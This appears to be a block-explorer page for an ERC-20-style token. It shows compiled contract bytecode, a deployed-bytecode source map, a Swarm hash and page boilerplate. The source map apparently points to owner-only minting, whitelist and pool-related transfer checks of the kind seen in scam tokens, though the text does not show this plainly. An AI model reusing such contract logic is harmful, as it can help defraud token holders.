2054811115610a9a5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610439565b6001600160a01b03831660009081526006602052604081208054839290610ac2908490611088565b90915550506001600160a01b03821660009081526006602052604081208054839290610aef9084906110d0565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161086a91815260200190565b6001546000906001600160a01b03838116911614806103a05750506003546001600160a01b0390811691161490565b6000806000600360009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610bc2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610be691906110ff565b506001600160701b031691506001600160701b03169150600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c50573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c74919061114f565b6001600160a01b0316600360009054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf4919061114f565b6001600160a01b031603610d8657600154604051630153543560e21b81526004810186905260248101839052604481018490526001600160a01b039091169063054d50d4906064015b602060405180830381865afa158015610d5a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d7e919061116c565b949350505050565b600154604051630153543560e21b81526004810186905260248101849052604481018390526001600160a01b039091169063054d50d490606401610d3d565b610dcd610e86565b15610e8157610ddb83610b3b565b15610e0e576001600160a01b03821660009081526008602052604081208054839290610e089084906110d0565b90915550505b610e1782610b3b565b15610e81576001600160a01b03831660009081526009602052604081208054839290610e449084906110d0565b90915550610e53905081610b6a565b6001600160a01b0384166000908152600a602052604081208054909190610e7b9084906110d0565b90915550505b505050565b6000806000600360009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610ede573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f0291906110ff565b506001600160701b031691506001600160701b03169150600082118015610f295750600081115b9250505090565b600060208083528351808285015260005b81811015610f5d57858101830151858201604001528201610f41565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610f9357600080fd5b50565b60008060408385031215610fa957600080fd5b8235610fb481610f7e565b946020939093013593505050565b600080600060608486031215610fd757600080fd5b8335610fe281610f7e565b92506020840135610ff281610f7e565b929592945050506040919091013590565b60006020828403121561101557600080fd5b813561046781610f7e565b60006020828403121561103257600080fd5b5035919050565b6000806040838503121561104c57600080fd5b823561105781610f7e565b9150602083013561106781610f7e565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b818103818111156103a0576103a0611072565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b808201808211156103a0576103a0611072565b80516001600160701b03811681146110fa57600080fd5b919050565b60008060006060848603121561111457600080fd5b61111d846110e3565b925061112b602085016110e3565b9150604084015163ffffffff8116811461114457600080fd5b809150509250925092565b60006020828403121561116157600080fd5b815161046781610f7e565b60006020828403121561117e57600080fd5b505191905056fea26469706673582212204624430c8c68861e81f472ba5eea3274f271245b41cd655a40dabcf1e3d8fb1a64736f6c63430008130033

Deployed Bytecode Sourcemap

9503:6771:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10896:96;10970:14;;;;;;;;;;;;-1:-1:-1;;;10970:14:0;;;;10896:96;;;;;;;:::i;:::-;;;;;;;;11859:163;;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;11859:163:0;1023:187:1;11209:102:0;11291:12;;11209:102;;;1361:25:1;;;1349:2;1334:18;11209:102:0;1215:177:1;12031:532:0;;;;;;:::i;:::-;;:::i;12820:198::-;;;;;;:::i;:::-;;:::i;:::-;;9746:49;;;;;;:::i;:::-;;;;;;;;;;;;;;;;11106:94;;;9707:1;2252:36:1;;2240:2;2225:18;11106:94:0;2110:184:1;13106:114:0;;;;;;:::i;:::-;;:::i;10031:46::-;;;;;;:::i;:::-;;;;;;;;;;;;;;12710:101;;;;;;:::i;:::-;;:::i;12572:129::-;;;;;;:::i;:::-;;:::i;13229:117::-;;;;;;:::i;:::-;;:::i;11320:121::-;;;;;;:::i;:::-;-1:-1:-1;;;;;11415:18:0;11388:7;11415:18;;;:9;:18;;;;;;;11320:121;9981:43;;;;;;:::i;:::-;;;;;;;;;;;;;;643:79;681:7;708:6;-1:-1:-1;;;;;708:6:0;643:79;;;-1:-1:-1;;;;;2648:32:1;;;2630:51;;2618:2;2603:18;643:79:0;2484:203:1;11001:96:0;11077:12;;;;;;;;;;;;-1:-1:-1;;;11077:12:0;;;;11001:96;;9635:26;;;;;-1:-1:-1;;;;;9635:26:0;;;11450:246;;;;;;:::i;:::-;;:::i;13027:70::-;;;:::i;11705:145::-;;;;;;:::i;:::-;-1:-1:-1;;;;;11815:18:0;;;11788:7;11815:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;11705:145;13355:138;;;;;;:::i;:::-;;:::i;9718:21::-;;;;;-1:-1:-1;;;;;9718:21:0;;;11859:163;11936:4;11953:39;177:10;11976:7;11985:6;11953:8;:39::i;:::-;-1:-1:-1;12010:4:0;11859:163;;;;;:::o;12031:532::-;12165:4;12186:39;12199:6;12207:9;12218:6;12186:12;:39::i;:::-;12182:352;;;-1:-1:-1;;;;;12269:19:0;;12242:24;12269:19;;;:11;:19;;;;;;;;177:10;12269:33;;;;;;;;12325:26;;;;12317:79;;;;-1:-1:-1;;;12317:79:0;;3517:2:1;12317:79:0;;;3499:21:1;3556:2;3536:18;;;3529:30;3595:34;3575:18;;;3568:62;-1:-1:-1;;;3646:18:1;;;3639:38;3694:19;;12317:79:0;;;;;;;;;12414:36;12424:6;12432:9;12443:6;12414:9;:36::i;:::-;12465:57;12474:6;177:10;12496:25;12515:6;12496:16;:25;:::i;:::-;12465:8;:57::i;:::-;12227:307;12182:352;-1:-1:-1;12551:4:0;12031:532;;;;;;:::o;12820:198::-;771:6;;-1:-1:-1;;;;;771:6:0;177:10;771:22;763:67;;;;-1:-1:-1;;;763:67:0;;;;;;;:::i;:::-;12906:4:::1;::::0;;-1:-1:-1;;;;;12906:4:0;;::::1;12923:1;12886:26:::0;;;:11:::1;:26;::::0;;;;;;;12913:6:::1;::::0;;;::::1;12886:34:::0;;;;;;;;:38;;;12935:16;;-1:-1:-1;;;;;;12935:16:0::1;::::0;;::::1;::::0;;::::1;::::0;;12982:4;;;;::::1;12962:26:::0;;;;;;;:34;;;;;;;;-1:-1:-1;;12962:48:0;;12820:198::o;13106:114::-;10254:6;;-1:-1:-1;;;;;10254:6:0;10240:10;:20;10232:29;;;;;;-1:-1:-1;;;;;13179:26:0::1;;::::0;;;:17:::1;:26;::::0;;;;:33;;-1:-1:-1;;13179:33:0::1;13208:4;13179:33;::::0;;13106:114::o;12710:101::-;771:6;;-1:-1:-1;;;;;771:6:0;177:10;771:22;763:67;;;;-1:-1:-1;;;763:67:0;;;;;;;:::i;:::-;12778:13:::1;:25:::0;12710:101::o;12572:129::-;771:6;;-1:-1:-1;;;;;771:6:0;177:10;771:22;763:67;;;;-1:-1:-1;;;763:67:0;;;;;;;:::i;:::-;12654:6:::1;12632:9;:18;12642:7;681::::0;708:6;-1:-1:-1;;;;;708:6:0;;643:79;12642:7:::1;-1:-1:-1::0;;;;;12632:18:0::1;-1:-1:-1::0;;;;;12632:18:0::1;;;;;;;;;;;;;:28;;;;;;;:::i;:::-;;;;;;;;12687:6;12671:12;;:22;;;;;;;:::i;:::-;::::0;;;-1:-1:-1;;;12572:129:0:o;13229:117::-;10254:6;;-1:-1:-1;;;;;10254:6:0;10240:10;:20;10232:29;;;;;;-1:-1:-1;;;;;13304:26:0::1;13333:5;13304:26:::0;;;:17:::1;:26;::::0;;;;:34;;-1:-1:-1;;13304:34:0::1;::::0;;13229:117::o;11450:246::-;11530:4;11551:45;177:10;11578:9;11589:6;11551:12;:45::i;:::-;11547:120;;;11613:42;177:10;11637:9;11648:6;11613:9;:42::i;13027:70::-;10254:6;;-1:-1:-1;;;;;10254:6:0;10240:10;:20;10232:29;;;;;;13078:4:::1;;;;;;;;;-1:-1:-1::0;;;;;13078:4:0::1;-1:-1:-1::0;;;;;13078:9:0::1;;:11;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;13027:70::o:0;13355:138::-;771:6;;-1:-1:-1;;;;;771:6:0;177:10;771:22;763:67;;;;-1:-1:-1;;;763:67:0;;;;;;;:::i;:::-;13446:6:::1;13424:9;:18;13434:7;681::::0;708:6;-1:-1:-1;;;;;708:6:0;;643:79;13434:7:::1;-1:-1:-1::0;;;;;13424:18:0::1;-1:-1:-1::0;;;;;13424:18:0::1;;;;;;;;;;;;;:28;;;;;;;:::i;:::-;;;;;;;;13479:6;13463:12;;:22;;;;;;;:::i;14896:372::-:0;-1:-1:-1;;;;;15023:19:0;;15015:68;;;;-1:-1:-1;;;15015:68:0;;4682:2:1;15015:68:0;;;4664:21:1;4721:2;4701:18;;;4694:30;4760:34;4740:18;;;4733:62;-1:-1:-1;;;4811:18:1;;;4804:34;4855:19;;15015:68:0;4480:400:1;15015:68:0;-1:-1:-1;;;;;15102:21:0;;15094:68;;;;-1:-1:-1;;;15094:68:0;;5087:2:1;15094:68:0;;;5069:21:1;5126:2;5106:18;;;5099:30;5165:34;5145:18;;;5138:62;-1:-1:-1;;;5216:18:1;;;5209:32;5258:19;;15094:68:0;4885:398:1;15094:68:0;-1:-1:-1;;;;;15176:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;15228:32;;1361:25:1;;;15228:32:0;;1334:18:1;15228:32:0;;;;;;;;14896:372;;;:::o;13657:655::-;-1:-1:-1;;;;;13773:25:0;;13752:4;13773:25;;;:17;:25;;;;;;;;;:57;;-1:-1:-1;;;;;;13802:28:0;;;;;;:17;:28;;;;;;;;13773:57;13769:101;;;-1:-1:-1;13854:4:0;13847:11;;13769:101;13887:16;13896:6;13887:8;:16::i;:::-;13883:60;;;-1:-1:-1;13927:4:0;13920:11;;13883:60;13957:19;13966:9;13957:8;:19::i;:::-;13953:330;;;13993:17;14013:25;14031:6;14013:17;:25::i;:::-;-1:-1:-1;;;;;14070:15:0;;14053:14;14070:15;;;:7;:15;;;;;;;;;14115:8;:16;;;;;;14164:11;:19;;;;;;13993:45;;-1:-1:-1;14070:15:0;;14218:13;14225:6;14115:16;14218:13;:::i;:::-;14208:6;:23;;:63;;;;-1:-1:-1;14252:19:0;14262:9;14252:7;:19;:::i;:::-;14235:13;;:36;;14208:63;14201:70;;;;;;;;14321:566;-1:-1:-1;;;;;14452:20:0;;14444:70;;;;-1:-1:-1;;;14444:70:0;;5490:2:1;14444:70:0;;;5472:21:1;5529:2;5509:18;;;5502:30;5568:34;5548:18;;;5541:62;-1:-1:-1;;;5619:18:1;;;5612:35;5664:19;;14444:70:0;5288:401:1;14444:70:0;-1:-1:-1;;;;;14533:23:0;;14525:71;;;;-1:-1:-1;;;14525:71:0;;5896:2:1;14525:71:0;;;5878:21:1;5935:2;5915:18;;;5908:30;5974:34;5954:18;;;5947:62;-1:-1:-1;;;6025:18:1;;;6018:33;6068:19;;14525:71:0;5694:399:1;14525:71:0;14607:47;14628:6;14636:9;14647:6;14607:20;:47::i;:::-;-1:-1:-1;;;;;14673:17:0;;;;;;:9;:17;;;;;;:27;-1:-1:-1;14673:27:0;14665:78;;;;-1:-1:-1;;;14665:78:0;;6300:2:1;14665:78:0;;;6282:21:1;6339:2;6319:18;;;6312:30;6378:34;6358:18;;;6351:62;-1:-1:-1;;;6429:18:1;;;6422:36;6475:19;;14665:78:0;6098:402:1;14665:78:0;-1:-1:-1;;;;;14757:17:0;;;;;;:9;:17;;;;;:27;;14778:6;;14757:17;:27;;14778:6;;14757:27;:::i;:::-;;;;-1:-1:-1;;;;;;;14795:20:0;;;;;;:9;:20;;;;;:30;;14819:6;;14795:20;:30;;14819:6;;14795:30;:::i;:::-;;;;;;;;14861:9;-1:-1:-1;;;;;14844:35:0;14853:6;-1:-1:-1;;;;;14844:35:0;;14872:6;14844:35;;;;1361:25:1;;1349:2;1334:18;;1215:177;13502:146:0;13603:7;;13559:4;;-1:-1:-1;;;;;13584:27:0;;;13603:7;;13584:27;;:55;;-1:-1:-1;;13634:4:0;;-1:-1:-1;;;;;13634:4:0;;;13615:24;;;;13502:146::o;15462:386::-;15533:7;15554:16;15572;15593:4;;;;;;;;;-1:-1:-1;;;;;15593:4:0;-1:-1:-1;;;;;15593:16:0;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15553:58;-1:-1:-1;;;;;15553:58:0;;;-1:-1:-1;;;;;15553:58:0;;;15643:7;;;;;;;;;-1:-1:-1;;;;;15643:7:0;-1:-1:-1;;;;;15643:12:0;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;15626:31:0;:4;;;;;;;;;-1:-1:-1;;;;;15626:4:0;-1:-1:-1;;;;;15626:11:0;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;15626:31:0;;15622:219;;15681:7;;:54;;-1:-1:-1;;;15681:54:0;;;;;7611:25:1;;;7652:18;;;7645:34;;;7695:18;;;7688:34;;;-1:-1:-1;;;;;15681:7:0;;;;:20;;7584:18:1;;15681:54:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15674:61;15462:386;-1:-1:-1;;;;15462:386:0:o;15622:219::-;15775:7;;:54;;-1:-1:-1;;;15775:54:0;;;;;7611:25:1;;;7652:18;;;7645:34;;;7695:18;;;7688:34;;;-1:-1:-1;;;;;15775:7:0;;;;:20;;7584:18:1;;15775:54:0;7409:319:1;15860:411:0;15989:15;:13;:15::i;:::-;15985:279;;;16025:14;16034:4;16025:8;:14::i;:::-;16021:76;;;-1:-1:-1;;;;;16060:11:0;;;;;;:7;:11;;;;;:21;;16075:6;;16060:11;:21;;16075:6;;16060:21;:::i;:::-;;;;-1:-1:-1;;16021:76:0;16115:12;16124:2;16115:8;:12::i;:::-;16111:142;;;-1:-1:-1;;;;;16148:14:0;;;;;;:8;:14;;;;;:24;;16166:6;;16148:14;:24;;16166:6;;16148:24;:::i;:::-;;;;-1:-1:-1;16212:25:0;;-1:-1:-1;16230:6:0;16212:17;:25::i;:::-;-1:-1:-1;;;;;16191:17:0;;;;;;:11;:17;;;;;:46;;:17;;;:46;;;;;:::i;:::-;;;;-1:-1:-1;;16111:142:0;15860:411;;;:::o;15277:176::-;15324:4;15342:16;15360;15381:4;;;;;;;;;-1:-1:-1;;;;;15381:4:0;-1:-1:-1;;;;;15381:16:0;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15341:58;-1:-1:-1;;;;;15341:58:0;;;-1:-1:-1;;;;;15341:58:0;;;15428:1;15417:8;:12;:28;;;;;15444:1;15433:8;:12;15417:28;15410:35;;;;15277:176;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;1858:247::-;1917:6;1970:2;1958:9;1949:7;1945:23;1941:32;1938:52;;;1986:1;1983;1976:12;1938:52;2025:9;2012:23;2044:31;2069:5;2044:31;:::i;2299:180::-;2358:6;2411:2;2399:9;2390:7;2386:23;2382:32;2379:52;;;2427:1;2424;2417:12;2379:52;-1:-1:-1;2450:23:1;;2299:180;-1:-1:-1;2299:180:1:o;2922:388::-;2990:6;2998;3051:2;3039:9;3030:7;3026:23;3022:32;3019:52;;;3067:1;3064;3057:12;3019:52;3106:9;3093:23;3125:31;3150:5;3125:31;:::i;:::-;3175:5;-1:-1:-1;3232:2:1;3217:18;;3204:32;3245:33;3204:32;3245:33;:::i;:::-;3297:7;3287:17;;;2922:388;;;;;:::o;3724:127::-;3785:10;3780:3;3776:20;3773:1;3766:31;3816:4;3813:1;3806:15;3840:4;3837:1;3830:15;3856:128;3923:9;;;3944:11;;;3941:37;;;3958:18;;:::i;3989:356::-;4191:2;4173:21;;;4210:18;;;4203:30;4269:34;4264:2;4249:18;;4242:62;4336:2;4321:18;;3989:356::o;4350:125::-;4415:9;;;4436:10;;;4433:36;;;4449:18;;:::i;6505:188::-;6584:13;;-1:-1:-1;;;;;6626:42:1;;6616:53;;6606:81;;6683:1;6680;6673:12;6606:81;6505:188;;;:::o;6698:450::-;6785:6;6793;6801;6854:2;6842:9;6833:7;6829:23;6825:32;6822:52;;;6870:1;6867;6860:12;6822:52;6893:40;6923:9;6893:40;:::i;:::-;6883:50;;6952:49;6997:2;6986:9;6982:18;6952:49;:::i;:::-;6942:59;;7044:2;7033:9;7029:18;7023:25;7088:10;7081:5;7077:22;7070:5;7067:33;7057:61;;7114:1;7111;7104:12;7057:61;7137:5;7127:15;;;6698:450;;;;;:::o;7153:251::-;7223:6;7276:2;7264:9;7255:7;7251:23;7247:32;7244:52;;;7292:1;7289;7282:12;7244:52;7324:9;7318:16;7343:31;7368:5;7343:31;:::i;7733:184::-;7803:6;7856:2;7844:9;7835:7;7831:23;7827:32;7824:52;;;7872:1;7869;7862:12;7824:52;-1:-1:-1;7895:16:1;;7733:184;-1:-1:-1;7733:184:1:o

Swarm Source

ipfs://4624430c8c68861e81f472ba5eea3274f271245b41cd655a40dabcf1e3d8fb1a
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.